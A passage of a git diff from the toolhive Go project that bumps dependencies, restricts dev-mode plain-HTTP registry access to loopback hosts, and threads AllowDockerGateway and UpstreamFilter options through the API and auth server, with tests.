h1:+ajc8S/YdPm59Ik10pQxDYk75HjpyzwUU/Ru1WiLOO8= +github.com/stacklok/toolhive-core v0.0.28/go.mod h1:t8dqTOjyT67i+xidAS1cRWh3K5qYW38R/NgP7xlvirE= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= @@ -824,8 +824,8 @@ github.com/tetratelabs/wazero v1.9.0 h1:IcZ56OuxrtaEz8UYNRHBrUa9bYeX9oVY93KspZZB github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+CseNNY7EkjM= github.com/theupdateframework/go-tuf v0.7.0 h1:CqbQFrWo1ae3/I0UCblSbczevCCbS31Qvs5LdxRWqRI= github.com/theupdateframework/go-tuf v0.7.0/go.mod h1:uEB7WSY+7ZIugK6R1hiBMBjQftaFzn7ZCDJcp1tCUug= -github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef h1:jJac5InhEfD0Z46/d5RayZjoavf/se7bPZpOgg8GLrM= -github.com/theupdateframework/go-tuf/v2 v2.4.2-0.20260407074541-7e8f69f906ef/go.mod h1:cLUSJ2cgR194lNWfp+TJT4P8PX7qGleCXdudqlCMtOE= +github.com/theupdateframework/go-tuf/v2 v2.4.2 h1:w7976/W8uTwlsegP5nRymlpjPgrwSh+AXUf85is6nJk= +github.com/theupdateframework/go-tuf/v2 v2.4.2/go.mod h1:JqBrIUnNLAaNq/8GmBcEMFWfAFBbqp/MkJEJseXKbks= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= @@ -911,8 +911,8 @@ go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.45.0 h1:QRefszxJmfPdjXUUm3j go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.45.0/go.mod h1:Tiz03lTBVBrm7eWZBOidzEaYaJa8tjwGUGv6d8mlTyk= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.45.0 h1:QBajQ2SrwQijzHyZbQlPsuIzpl/ll8DY6wPWsajeGcI= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.45.0/go.mod h1:08ZQLjrPLQ6R4kAXvuOvODEer5Yh4CoFvll5qB2BCI8= -go.opentelemetry.io/otel/exporters/prometheus v0.65.0 h1:jOveH/b4lU9HT7y+Gfamf18BqlOuz2PWEvs8yM7Q6XE= -go.opentelemetry.io/otel/exporters/prometheus v0.65.0/go.mod h1:i1P8pcumauPtUI4YNopea1dhzEMuEqWP1xoUZDylLHo= +go.opentelemetry.io/otel/exporters/prometheus v0.66.0 h1:vkrK8PAznv2NKt2r+kdu252ccGzkEqLc2aSXbQIALYQ= +go.opentelemetry.io/otel/exporters/prometheus v0.66.0/go.mod h1:V/UB6D3vMF/UBOL5igAsAYnk1nG/bzYYTzvsB16cy7o= go.opentelemetry.io/otel/exporters/zipkin v1.45.0 h1:KN3btaILMTxR4QDHVGAO87lq5ButzK7l+kIfLuxQ1oA= go.opentelemetry.io/otel/exporters/zipkin v1.45.0/go.mod h1:yNcodmUclM4InyWoOwX/YW4Jri0Gj5FWAlM+NqCrtqY= go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M= @@ -927,8 +927,8 @@ go.opentelemetry.io/otel/trace v1.45.0 h1:l/mP6Uv7oNO7/TblbhpbgMidxhq1uO/rPsikOy go.opentelemetry.io/otel/trace v1.45.0/go.mod h1:qoJJA2xNMnxRrdISU/kLtfUH2wNeQbiv+jhs/CxI8bc= go.opentelemetry.io/proto/otlp v1.11.0 h1:5rrYs0Ykyj50sdU/JU0x8etU+LubXWb+gED6TbEdMIk= go.opentelemetry.io/proto/otlp v1.11.0/go.mod h1:SmVizdCOAm3XBtG1g1NnOdhW6jtddT72hLMhv8VwA8E= -go.starlark.net v0.0.0-20260522144826-ec58d4b459e2 h1:3cIeOhZXLdLHnBoLyKdJu4SEAEuM/av/VFzB5twLo8k= -go.starlark.net v0.0.0-20260522144826-ec58d4b459e2/go.mod h1:Iue6g6iirlfLoVi/DYCi5/x0h/bAOuWF3dULTKpt2Vo= +go.starlark.net v0.0.0-20260630144053-529d8e869a14 h1:w4krPU6GwY87DdwH30fr/GygfD3ROuoBq3YWilzFe6A= +go.starlark.net v0.0.0-20260630144053-529d8e869a14/go.mod h1:Iue6g6iirlfLoVi/DYCi5/x0h/bAOuWF3dULTKpt2Vo= go.step.sm/crypto v0.77.7 h1:6azC+pD678Vjju8yXnMDHCZJ+HzFaEmL3sCryiezTIA= go.step.sm/crypto v0.77.7/go.mod h1:OW/2sEHwTtDKq70PvSQ5B0JGy/CrLyDKOiVy3YvZMTQ= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= @@ -1106,8 +1106,8 @@ gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= -google.golang.org/api v0.280.0 h1:F4OfEHZhZh6a7uTufJAXXVd/2TQ8EjM4vZH+jX/vFYk= -google.golang.org/api v0.280.0/go.mod h1:oGKmPZRDoD3vdkf6MA7F4VNkR1rxCiuaPSkhsf3EolU= +google.golang.org/api v0.283.0 h1:0lkp8u0MPwJVHqRL+nJlMAoZVVzbmiXmFHXMOTmSPik= +google.golang.org/api v0.283.0/go.mod h1:6Wssta4c5n9qHq5CBhmlai5h/PUa1djdDAIhYEHyvcM= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7 h1:XzmzkmB14QhVhgnawEVsOn6OFsnpyxNPRY9QV01dNB0= google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:L43LFes82YgSonw6iTXTxXUX1OlULt4AQtkik4ULL/I= google.golang.org/genproto/googleapis/api v0.0.0-20260803160001-6ac0973c030d h1:FarXi840EJWSHYTN3ERkADbPWjl307+FGrA22KAVjjc= diff --git a/pkg/api/server.go b/pkg/api/server.go index 14a9066fab..dcb5028fda 100644 --- a/pkg/api/server.go +++ b/pkg/api/server.go @@ -32,6 +32,7 @@ import ( "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" + "github.com/opencontainers/go-digest" "go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp" "go.opentelemetry.io/otel/attribute" "go.opentelemetry.io/otel/trace" @@ -47,6 +48,7 @@ import ( "github.com/stacklok/toolhive/pkg/container/runtime" "github.com/stacklok/toolhive/pkg/fileutils" "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/recovery" "github.com/stacklok/toolhive/pkg/registry" "github.com/stacklok/toolhive/pkg/server/discovery" @@ -638,13 +640,66 @@ func createListener(address string, isUnixSocket bool) (net.Listener, string, er } // newOCIRegistryClient creates an OCI registry client. In dev mode -// (TOOLHIVE_DEV=true), plain HTTP is enabled for local test registries. +// (TOOLHIVE_DEV=true), plain HTTP is used for loopback registries only (e.g. +// a local test registry started by e2e tests) via devModeOCIRegistryClient. +// +// Plain HTTP must NOT be applied to real registries such as ghcr.io: those +// registries redirect an initial plain-HTTP request to HTTPS, and oras-go +// refuses to complete the WWW-Authenticate/token-fetch handshake across that +// redirect (a guard against leaking credentials across origins on redirect, +// see GHSA-vh4v-2xq2-g5cg). The pull then fails with a bare 401 instead of +// retrying with a fetched (possibly anonymous) bearer token. func newOCIRegistryClient() (ociskills.RegistryClient, error) { - var opts []ociskills.RegistryOption - if os.Getenv("TOOLHIVE_DEV") == "true" { - opts = append(opts, ociskills.WithPlainHTTP(true)) + secure, err := ociskills.NewRegistry() + if err != nil { + return nil, err + } + if os.Getenv("TOOLHIVE_DEV") != "true" { + return secure, nil + } + plain, err := ociskills.NewRegistry(ociskills.WithPlainHTTP(true)) + if err != nil { + return nil, err + } + return &devModeOCIRegistryClient{secure: secure, plain: plain}, nil +} + +// devModeOCIRegistryClient dispatches each Pull/Push to a plain-HTTP client +// when the target reference's host is loopback (a local test registry), and +// to a normal TLS client otherwise. This keeps TOOLHIVE_DEV=true's +// local-test-registry support (see gitresolver.isDevMode for the analogous +// SSRF relaxation) without silently disabling TLS for real registries. +type devModeOCIRegistryClient struct { + secure ociskills.RegistryClient + plain ociskills.RegistryClient +} + +func (c *devModeOCIRegistryClient) Pull( + ctx context.Context, store *ociskills.Store, ref string, +) (digest.Digest, error) { + return c.clientFor(ref).Pull(ctx, store, ref) +} + +func (c *devModeOCIRegistryClient) Push( + ctx context.Context, store *ociskills.Store, manifestDigest digest.Digest, ref string, +) error { + return c.clientFor(ref).Push(ctx, store, manifestDigest, ref) +} + +func (c *devModeOCIRegistryClient) clientFor(ref string) ociskills.RegistryClient { + if networking.IsLocalhost(ociRefHost(ref)) { + return c.plain + } + return c.secure +} + +// ociRefHost extracts the "host[:port]" portion of an OCI reference such as +// "ghcr.io/org/repo:tag" or "localhost:5000/repo@sha256:...". +func ociRefHost(ref string) string { + if idx := strings.IndexByte(ref, '/'); idx >= 0 { + return ref[:idx] } - return ociskills.NewRegistry(opts...) + return ref } // lazySkillLookup implements skillsvc.SkillLookup by resolving the registry diff --git a/pkg/api/v1/workload_service.go b/pkg/api/v1/workload_service.go index 8fd5242661..bc179ab7f6 100644 --- a/pkg/api/v1/workload_service.go +++ b/pkg/api/v1/workload_service.go @@ -341,6 +341,7 @@ func (s *WorkloadService) BuildFullRunConfig( runner.WithPermissionProfile(req.PermissionProfile), runner.WithNetworkIsolation(networkIsolationEnabled(req.NetworkIsolation)), runner.WithTrustProxyHeaders(req.TrustProxyHeaders), + runner.WithAllowDockerGateway(req.AllowDockerGateway), runner.WithK8sPodPatch(""), runner.WithProxyMode(types.ProxyMode(req.ProxyMode)), runner.WithTransportAndPorts(req.Transport, req.ProxyPort, req.TargetPort), diff --git a/pkg/api/v1/workload_service_test.go b/pkg/api/v1/workload_service_test.go index 81b7d92e68..b03823aac1 100644 --- a/pkg/api/v1/workload_service_test.go +++ b/pkg/api/v1/workload_service_test.go @@ -273,6 +273,53 @@ func TestBuildFullRunConfig_AppliesOtelFromConfig(t *testing.T) { "MetricsEnabled must default to true when config does not set it, matching CLI behavior") } +// TestBuildFullRunConfig_ThreadsAllowDockerGateway verifies that the +// allow_docker_gateway request field reaches the resulting RunConfig, since +// the CLI already exposes --allow-docker-gateway but the API previously +// dropped the value on the floor. +func TestBuildFullRunConfig_ThreadsAllowDockerGateway(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + defer ctrl.Finish() + + mockGroupManager := groupsmocks.NewMockManager(ctrl) + mockGroupManager.EXPECT().Exists(gomock.Any(), "default").Return(true, nil) + + const testImage = "test-image" + + mockRetriever := func( + _ context.Context, + _ string, _ string, _ string, _ string, + _ *templates.RuntimeConfig, + ) (string, regtypes.ServerMetadata, error) { + return testImage, ®types.ImageMetadata{Image: testImage}, nil + } + + configPath := t.TempDir() + "/config.yaml" + provider := config.NewPathProvider(configPath) + + service := &WorkloadService{ + groupManager: mockGroupManager, + imageRetriever: mockRetriever, + imagePuller: func(_ context.Context, _ string) error { return nil }, + configProvider: provider, + imageVerification: retriever.VerifyImageWarn, + } + + req := &createRequest{ + Name: "testserver", + updateRequest: updateRequest{ + Image: testImage, + AllowDockerGateway: true, + }, + } + + runConfig, err := service.BuildFullRunConfig(context.Background(), req, 0) + require.NoError(t, err) + assert.True(t, runConfig.AllowDockerGateway) +} + // TestBuildFullRunConfig_NoOtelConfigLeavesTelemetryNil verifies that when no // OpenTelemetry config is set, the RunConfig's TelemetryConfig remains nil — // the API path does not invent an endpoint. diff --git a/pkg/api/v1/workload_types.go b/pkg/api/v1/workload_types.go index 1a879a5f00..e11162cff5 100644 --- a/pkg/api/v1/workload_types.go +++ b/pkg/api/v1/workload_types.go @@ -80,6 +80,11 @@ type updateRequest struct { NetworkIsolation *bool `json:"network_isolation,omitempty"` // Whether to trust X-Forwarded-* headers from reverse proxies TrustProxyHeaders bool `json:"trust_proxy_headers"` + // Whether to permit outbound connections to Docker gateway addresses + // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are + // blocked by default in the egress proxy even when network isolation is on. + // Only applicable to Docker deployments with network isolation enabled. + AllowDockerGateway bool `json:"allow_docker_gateway,omitempty"` // Tools filter ToolsFilter []string `json:"tools"` // Tools override @@ -357,29 +362,30 @@ func runConfigToCreateRequest(runConfig *runner.RunConfig) *createRequest { return &createRequest{ updateRequest: updateRequest{ - Image: runConfig.Image, - RuntimeConfig: runtimeConfigForResponse(runConfig), - Host: runConfig.Host, - CmdArguments: runConfig.CmdArgs, - TargetPort: runConfig.TargetPort, - ProxyPort: runConfig.Port, - EnvVars: runConfig.EnvVars, - Secrets: secretParams, - Volumes: runConfig.Volumes, - Transport: string(runConfig.Transport), - AuthzConfig: authzConfigPath, - OIDC: oidcConfig, - PermissionProfile: runConfig.PermissionProfile, - ProxyMode: string(runConfig.ProxyMode), - NetworkIsolation: &runConfig.IsolateNetwork, - TrustProxyHeaders: runConfig.TrustProxyHeaders, - ToolsFilter: runConfig.ToolsFilter, - ToolsOverride: toolsOverride, - Group: runConfig.Group, - URL: runConfig.RemoteURL, - OAuthConfig: oAuthConfig, - Headers: headers, - HeaderForward: headerForward, + Image: runConfig.Image, + RuntimeConfig: runtimeConfigForResponse(runConfig), + Host: runConfig.Host, + CmdArguments: runConfig.CmdArgs, + TargetPort: runConfig.TargetPort, + ProxyPort: runConfig.Port, + EnvVars: runConfig.EnvVars, + Secrets: secretParams, + Volumes: runConfig.Volumes, + Transport: string(runConfig.Transport), + AuthzConfig: authzConfigPath, + OIDC: oidcConfig, + PermissionProfile: runConfig.PermissionProfile, + ProxyMode: string(runConfig.ProxyMode), + NetworkIsolation: &runConfig.IsolateNetwork, + TrustProxyHeaders: runConfig.TrustProxyHeaders, + AllowDockerGateway: runConfig.AllowDockerGateway, + ToolsFilter: runConfig.ToolsFilter, + ToolsOverride: toolsOverride, + Group: runConfig.Group, + URL: runConfig.RemoteURL, + OAuthConfig: oAuthConfig, + Headers: headers, + HeaderForward: headerForward, }, Name: runConfig.Name, } diff --git a/pkg/api/v1/workloads_types_test.go b/pkg/api/v1/workloads_types_test.go index c5f6c8f38e..8aeafd5701 100644 --- a/pkg/api/v1/workloads_types_test.go +++ b/pkg/api/v1/workloads_types_test.go @@ -89,20 +89,21 @@ func TestRunConfigToCreateRequest(t *testing.T) { t.Parallel() runConfig := &runner.RunConfig{ - Name: "test-workload", - Image: "test-image:latest", - Host: "localhost", - Port: 3000, - CmdArgs: []string{"arg1", "arg2"}, - TargetPort: 8080, - EnvVars: map[string]string{"ENV1": "value1"}, - Secrets: []string{"secret1,target=/path1", "secret2,target=/path2"}, - Volumes: []string{"/host:/container"}, - Transport: types.TransportTypeSSE, - Group: "test-group", - ProxyMode: types.ProxyModeSSE, - IsolateNetwork: true, - ToolsFilter: []string{"tool1", "tool2"}, + Name: "test-workload", + Image: "test-image:latest", + Host: "localhost", + Port: 3000, + CmdArgs: []string{"arg1", "arg2"}, + TargetPort: 8080, + EnvVars: map[string]string{"ENV1": "value1"}, + Secrets: []string{"secret1,target=/path1", "secret2,target=/path2"}, + Volumes: []string{"/host:/container"}, + Transport: types.TransportTypeSSE, + Group: "test-group", + ProxyMode: types.ProxyModeSSE, + IsolateNetwork: true, + ToolsFilter: []string{"tool1", "tool2"}, + AllowDockerGateway: true, } result := runConfigToCreateRequest(runConfig) @@ -127,6 +128,7 @@ func TestRunConfigToCreateRequest(t *testing.T) { require.NotNil(t, result.NetworkIsolation) assert.True(t, *result.NetworkIsolation) assert.Equal(t, []string{"tool1", "tool2"}, result.ToolsFilter) + assert.True(t, result.AllowDockerGateway) }) t.Run("with plaintext header forward", func(t *testing.T) { diff --git a/pkg/auth/token.go b/pkg/auth/token.go index eb1cf27848..0360f35905 100644 --- a/pkg/auth/token.go +++ b/pkg/auth/token.go @@ -954,6 +954,8 @@ func (v *TokenValidator) getKeyFromJWKS(ctx context.Context, token *jwt.Token) ( } // validateClaims validates the claims in the token. +// +//nolint:gocyclo // one branch per claim; the fork adds the allowedClientIds audience fallback func (v *TokenValidator) validateClaims(claims jwt.MapClaims) error { // Validate the issuer if provided if v.issuer != "" { diff --git a/pkg/authserver/config.go b/pkg/authserver/config.go index e0fd721d14..92ff27a8e2 100644 --- a/pkg/authserver/config.go +++ b/pkg/authserver/config.go @@ -14,6 +14,7 @@ import ( "time" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/handlers" "github.com/stacklok/toolhive/pkg/authserver/server/keys" "github.com/stacklok/toolhive/pkg/authserver/server/registration" "github.com/stacklok/toolhive/pkg/authserver/storage" @@ -236,6 +237,17 @@ func ResolveUpstreamName(name string) string { return name } +// ResolveFirstUpstreamName returns the resolved name of the first element of +// names, or DefaultUpstreamName when names is empty. It is the single +// implementation of the "first upstream or default" pattern used wherever a +// subject-provider name must be derived from a list of configured upstreams. +func ResolveFirstUpstreamName(names []string) string { + if len(names) > 0 { + return ResolveUpstreamName(names[0]) + } + return DefaultUpstreamName +} + // upstreamNameRegex validates upstream provider names. // Names must be DNS-label-like to prevent delimiter injection in storage keys. var upstreamNameRegex = regexp.MustCompile(`^[a-z0-9]([a-z0-9-]*[a-z0-9])?$`) @@ -309,6 +321,13 @@ type OIDCUpstreamRunConfig struct { // HTTP-scheme restrictions are unchanged — HTTPS is still required for // non-localhost hosts. Defaults to false. AllowPrivateIPs bool `json:"allow_private_ips,omitempty" yaml:"allow_private_ips,omitempty"` + + // InsecureAllowHTTP permits a plain-HTTP issuer URL and HTTP discovery + // endpoints for this upstream. Only for in-cluster development environments + // (e.g. Dex served over HTTP in a kind cluster) where TLS is not available. + // Never set this in production. + //nolint:lll // field tags require full JSON+YAML names + InsecureAllowHTTP bool `json:"insecure_allow_http,omitempty" yaml:"insecure_allow_http,omitempty"` } // OAuth2UpstreamRunConfig contains configuration for pure OAuth 2.0 providers. @@ -380,6 +399,13 @@ type OAuth2UpstreamRunConfig struct { // restrictions are unchanged — HTTPS is still required for non-localhost hosts. // Defaults to false. AllowPrivateIPs bool `json:"allow_private_ips,omitempty" yaml:"allow_private_ips,omitempty"` + + // InsecureAllowHTTP permits plain-HTTP authorization and token endpoint URLs + // for this upstream. Only for in-cluster development environments (e.g. an + // OAuth2 provider served over HTTP in a kind cluster) where TLS is not + // available. Never set this in production. + //nolint:lll // field tags require full JSON+YAML names + InsecureAllowHTTP bool `json:"insecure_allow_http,omitempty" yaml:"insecure_allow_http,omitempty"` } // DCRUpstreamConfig configures RFC 7591 Dynamic Client Registration for an @@ -591,6 +617,14 @@ type Config struct { // Multiple upstreams form a sequential authorization chain. Upstreams []UpstreamConfig + // UpstreamFilter, when set, narrows the upstream authorization chain after the + // first leg resolves (see handlers.WithUpstreamFilter). When nil, all + // configured upstreams are walked — the current behavior. Pass nil itself, + // not a nil-valued concrete pointer implementing UpstreamFilter — a typed-nil + // interface value is non-nil and will still be wired in. Has no effect with + // fewer than 2 configured upstreams; Validate rejects that combination. + UpstreamFilter handlers.UpstreamFilter + // ScopesSupported lists the OAuth 2.0 scope values advertised in discovery documents. // If nil or empty, defaults to registration.DefaultScopes (["openid", "profile", "email", "offline_access"]). // This is advertised in /.well-known/openid-configuration and @@ -665,6 +699,10 @@ func (c *Config) Validate() error { return err } + if err := c.validateUpstreamFilter(); err != nil { + return err + } + // AllowedAudiences is required for MCP compliance. // Per MCP specification, clients MUST include the "resource" parameter (RFC 8707), // which requires the server to have configured allowed audiences to validate against. @@ -832,6 +870,18 @@ func (c *Config) validateUpstreams() error { return nil } +// validateUpstreamFilter rejects an UpstreamFilter configured with fewer than +// 2 upstreams. handlers.computeChain consults the filter only when there is a +// non-first upstream to narrow, so with a single upstream the filter would +// silently never be invoked; this fails loudly instead of letting it no-op +// without any indication to the caller. +func (c *Config) validateUpstreamFilter() error { + if c.UpstreamFilter != nil && len(c.Upstreams) < 2 { + return fmt.Errorf("upstream_filter is configured but has no effect with fewer than 2 upstreams") + } + return nil +} + // validateUpstreamName validates and defaults the upstream name. // For single upstream, empty names default to "default". // For multi-upstream, explicit non-"default" names are required. diff --git a/pkg/authserver/config_test.go b/pkg/authserver/config_test.go index d678fc07bd..850a7d0347 100644 --- a/pkg/authserver/config_test.go +++ b/pkg/authserver/config_test.go @@ -102,6 +102,8 @@ func TestConfigValidate(t *testing.T) { {name: "no upstreams", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC}, wantErr: true, errMsg: "at least one upstream is required"}, {name: "nil upstream config", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "test", Type: UpstreamProviderTypeOAuth2}}}, wantErr: true, errMsg: "oauth2_config is required"}, {name: "multiple upstreams", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}, AllowedAudiences: []string{"https://mcp.example.com"}}}, + {name: "upstream_filter with single upstream rejected", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: validUpstreams, AllowedAudiences: []string{"https://mcp.example.com"}, UpstreamFilter: &stubChainFilter{}}, wantErr: true, errMsg: "upstream_filter is configured but has no effect"}, + {name: "upstream_filter with multiple upstreams allowed", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}, AllowedAudiences: []string{"https://mcp.example.com"}, UpstreamFilter: &stubChainFilter{}}}, {name: "duplicate upstream names", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "same", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "same", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "duplicate upstream name"}, {name: "multi-upstream with empty name on second", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "upstream[1]: name must be explicitly set"}, {name: "multi-upstream with empty name on first", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "upstream[0]: name must be explicitly set"}, diff --git a/pkg/authserver/integration_test.go b/pkg/authserver/integration_test.go index 860d18e819..56c5132708 100644 --- a/pkg/authserver/integration_test.go +++ b/pkg/authserver/integration_test.go @@ -29,8 +29,10 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/auth/upstreamtoken" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/handlers" "github.com/stacklok/toolhive/pkg/authserver/server/keys" "github.com/stacklok/toolhive/pkg/authserver/server/registration" "github.com/stacklok/toolhive/pkg/authserver/server/session" @@ -86,6 +88,13 @@ type testServerOptions struct { // miniredis return value is valid (e.g., for non-Redis alternative // backends). storageFactory func(t *testing.T) (storage.Storage, *miniredis.Miniredis) + // upstreamFilter, when set, is passed through to Config.UpstreamFilter. + // Read by every setup helper below that builds its own Config + // (setupTestServer, setupTestServerWithOIDCProvider, + // setupTestServerWithTwoUpstreams) and by setupTestServerWithMockOIDC, + // which delegates to setupTestServer. setupTestServerWithRTProxy does not + // accept testServerOption at all, so this field does not apply to it. + upstreamFilter handlers.UpstreamFilter } // testServerOption is a functional option for test server setup. @@ -112,6 +121,15 @@ func withAccessTokenLifespan(d time.Duration) testServerOption { } } +// withUpstreamFilter configures Config.UpstreamFilter, exercising the +// authserver.New -> handlers.NewHandler wiring end-to-end rather than the +// handler-level WithUpstreamFilter option directly. +func withUpstreamFilter(f handlers.UpstreamFilter) testServerOption { + return func(opts *testServerOptions) { + opts.upstreamFilter = f + } +} + // withRedisBackedStorage swaps the default in-memory storage for a // miniredis-backed *RedisStorage. This exercises the same Lua scripts and // Redis-shape key layout used in production, while remaining hermetic and @@ -235,6 +253,7 @@ func setupTestServer(t *testing.T, opts ...testServerOption) *testServer { RefreshTokenLifespan: 24 * time.Hour, AuthCodeLifespan: 10 * time.Minute, Upstreams: []UpstreamConfig{{Name: "default", Type: UpstreamProviderTypeOAuth2, OAuth2Config: upstreamCfg}}, + UpstreamFilter: options.upstreamFilter, AllowedAudiences: []string{"https://mcp.example.com"}, } @@ -906,9 +925,10 @@ func TestIntegration_FullPKCEFlow_DefaultAudience(t *testing.T) { // - defaultUpstreamFactory dispatching to NewOIDCProvider // - OIDCProviderImpl with OIDC discovery, ID token validation, and nonce support // -// Variadic opts allow swapping the storage backend (e.g. withRedisBackedStorage); -// the upstream is fixed because this helper exists specifically to exercise the -// real OIDC factory path. Other testServerOptions are silently ignored. +// Variadic opts allow swapping the storage backend (e.g. withRedisBackedStorage) +// and setting Config.UpstreamFilter (withUpstreamFilter); the upstream itself is +// fixed because this helper exists specifically to exercise the real OIDC +// factory path. Other testServerOptions are silently ignored. func setupTestServerWithOIDCProvider(t *testing.T, m *mockoidc.MockOIDC, opts ...testServerOption) *testServerWithUpstream { t.Helper() ctx := context.Background() @@ -975,6 +995,7 @@ func setupTestServerWithOIDCProvider(t *testing.T, m *mockoidc.MockOIDC, opts .. }, }}, AllowedAudiences: []string{testAudience}, + UpstreamFilter: options.upstreamFilter, } // 6. Create server using newServer WITHOUT overriding the upstream factory. @@ -1820,6 +1841,7 @@ func setupTestServerWithTwoUpstreams(t *testing.T, m1, m2 *mockoidc.MockOIDC, op {Name: "provider-2", Type: UpstreamProviderTypeOAuth2, OAuth2Config: upstreamCfg2}, }, AllowedAudiences: []string{testAudience}, + UpstreamFilter: options.upstreamFilter, } // 8. Create server using newServer with a factory that returns the correct provider per name @@ -1954,6 +1976,95 @@ func TestIntegration_MultiUpstreamSequentialChain(t *testing.T) { "upstream subjects should differ (different IDPs)") } +// stubChainFilter is a minimal handlers.UpstreamFilter test double that always +// keeps the given set of upstream names, regardless of the principal or +// configured list it is passed. The lower-level filter-narrowing behavior +// (computeChain) is already covered directly in +// pkg/authserver/server/handlers/handler_chain_test.go; this double exists only +// to drive the Config.UpstreamFilter -> authserver.New -> handlers.NewHandler +// wiring end-to-end. +type stubChainFilter struct { + keep []string +} + +func (f *stubChainFilter) FilterUpstreams( + _ context.Context, + _ auth.PrincipalInfo, + _ []string, +) ([]string, error) { + return f.keep, nil +} + +// TestIntegration_MultiUpstreamChain_ConfigUpstreamFilter proves that a +// Config.UpstreamFilter set through the public authserver.New facade reaches +// the handler and narrows the authorization chain. Before Config gained this +// field, WithUpstreamFilter was only reachable via the low-level +// handlers.NewHandler constructor, so a caller using authserver.New had no way +// to install a filter at all. +// +// The filter here drops provider-2 entirely, so after the provider-1 callback +// the chain must be satisfied and the handler must redirect straight to the +// client (303) instead of on to provider-2 (302). The status-code assertion +// below is the only signal this test relies on: it fails immediately on a +// mismatch, before ever following a redirect that would reach provider-2. +func TestIntegration_MultiUpstreamChain_ConfigUpstreamFilter(t *testing.T) { + t.Parallel() + + m1, err := mockoidc.Run() + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, m1.Shutdown()) }) + + m2, err := mockoidc.Run() + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, m2.Shutdown()) }) + + m1.QueueUser(&mockoidc.MockUser{ + Subject: "user-from-provider-1", + Email: "user1@provider1.example.com", + }) + + filter := &stubChainFilter{keep: nil} + ts := setupTestServerWithTwoUpstreams(t, m1, m2, withUpstreamFilter(filter)) + + verifier := servercrypto.GeneratePKCEVerifier() + challenge := servercrypto.ComputePKCEChallenge(verifier) + clientState := "upstream-filter-client-state" + + resp := runFirstLeg(t, ts.Server.URL, challenge, clientState) + require.Equal(t, http.StatusSeeOther, 